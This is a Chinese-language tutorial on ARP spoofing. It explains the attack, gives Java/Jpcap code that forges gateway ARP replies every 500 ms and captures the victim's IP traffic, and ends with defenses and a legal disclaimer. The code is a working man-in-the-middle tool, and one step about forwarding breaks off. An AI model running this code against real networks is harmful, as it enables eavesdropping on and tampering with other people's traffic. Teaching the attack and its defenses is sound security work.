ARP(Address Resolution Protocol)欺騙是局域網中常見的中間人攻擊手段。本文詳細解析 ARP 協議工作機制、欺騙攻擊原理,並提供基於 Jpcap 的 Java 實現代碼,最後探討防禦對策。
arp -a 查看本地 ARP 表
正常通信: A(192.168.1.100, MAC_A) ←→ 网关(192.168.1.1, MAC_G)
A的ARP表:192.168.1.1 → MAC_G
攻擊過程: 攻擊者C(192.168.1.200, MAC_C)
1. 偽造ARP Reply:源IP=192.168.1.1,源MAC=MAC_C
2. 發送給A,A更新ARP表:192.168.1.1 → MAC_C
3. A發往網關的數據實際發送給C
4. C可竊聽/篡改/轉發數據(中間人攻擊)
<dependency>
<groupId>net.sourceforge.jpcap</groupId>
<artifactId>jpcap</artifactId>
0.7
</dependency>
public class IpMacMap {
private String ip;
private byte[] mac;
// 構造器、getter/setter 省略
}
public class ARPPacketGenerator {
public static ARPPacket generateReply(IpMacMap target, IpMacMap sender) throws Exception {
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER; // 以太網
arp.prototype = ARPPacket.PROTOTYPE_IP; // IP 協議
arp.operation = ARPPacket.ARP_REPLY; // 回應類型
arp.hlen = 6; // MAC 長度 6 字節
arp.plen = 4; // IP 長度 4 字節
arp.target_hardaddr = target.getMac();
arp.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arp.sender_hardaddr = sender.getMac();
arp.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arp;
}
}
public class EthernetPacketGenerator {
public static EthernetPacket generate(byte[] targetMac, byte[] senderMac) {
EthernetPacket eth = new EthernetPacket();
eth.frametype = EthernetPacket.ETHERTYPE_ARP; // ARP 幀類型
eth.dst_mac = targetMac;
eth.src_mac = senderMac;
return eth;
}
}
public class ArpSpoofListener {
private static final String GATEWAY_IP = "192.168.11.1";
private static final byte[] GATEWAY_MAC = {0x00, 0x0a, (byte)0xc5, 0x42, 0x6e, (byte)0x9a};
private JpcapCaptor captor;
private JpcapSender sender;
private Packet replyPacket;
private NetworkInterface device;
private IpMacMap target;
public ArpSpoofListener(IpMacMap target) throws Exception {
this.target = target;
this.device = JpcapCaptor.getDeviceList()[1]; // 選擇網卡
init();
}
private void init() throws Exception {
captor = JpcapCaptor.openDevice(device, 2000, false, 10000);
captor.setFilter("ip", true); // 僅捕獲 IP 封包
sender = captor.getJpcapSenderInstance();
// 構造偽造 ARP Reply:聲稱網關 IP 對應本機 MAC
IpMacMap fakeGateway = new IpMacMap(GATEWAY_IP, device.mac_address);
replyPacket = ARPPacketGenerator.generateReply(target, fakeGateway);
replyPacket.datalink = EthernetPacketGenerator.generate(target.getMac(), device.mac_address);
}
public void start() {
// 發送線程:持續發送偽造 ARP 刷新目標緩存
new Thread(() -> {
while (true) {
try {
sender.sendPacket(replyPacket);
Thread.sleep(500); // 500ms 間隔對抗 ARP 緩存老化
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
// 監聽線程:捕獲經過本機的數據包
while (true) {
IPPacket packet = (IPPacket) captor.getPacket();
if (packet != null) {
System.out.println("捕獲封包: " + packet.src_ip + " → " + packet.dst_ip +
" 協議:" + packet.protocol + " 長度:" + packet.len);
// 此處可添加數據包轉發邏輯,保持目標正常上網
}
}
}
}
僅攔截不轉發會導致目標斷網。完整方案需:
sender.sendPacket() 轉發| 層面 | 防禦措施 |
|---|---|
| 主機端 | 靜態綁定 ARP 表(arp -s)、啟用 ARP 防火牆軟件 |
| 交換機端 | 開啟 DAI (Dynamic ARP Inspection)、IP Source Guard、端口安全 |
| 網絡監控 | 部署 ARP 異常流量檢測、定期掃描 ARP 表異常 |
| 加密通信 | 使用 HTTPS、SSH、VPN 等加密協議,竊聽數據無法解密 |
⚠️ 重要聲明:ARP 欺騙屬於網絡攻擊行為。本文代碼僅供安全研究、教學演示、授權滲透測試使用。未經授權對他人網絡實施 ARP 欺騙違反《計算機信息網絡國際聯網安全保護管理辦法》及《刑法》第 285 條,可能面臨行政處罰或刑事責任。請嚴格遵守法律法規,勿用於非法用途。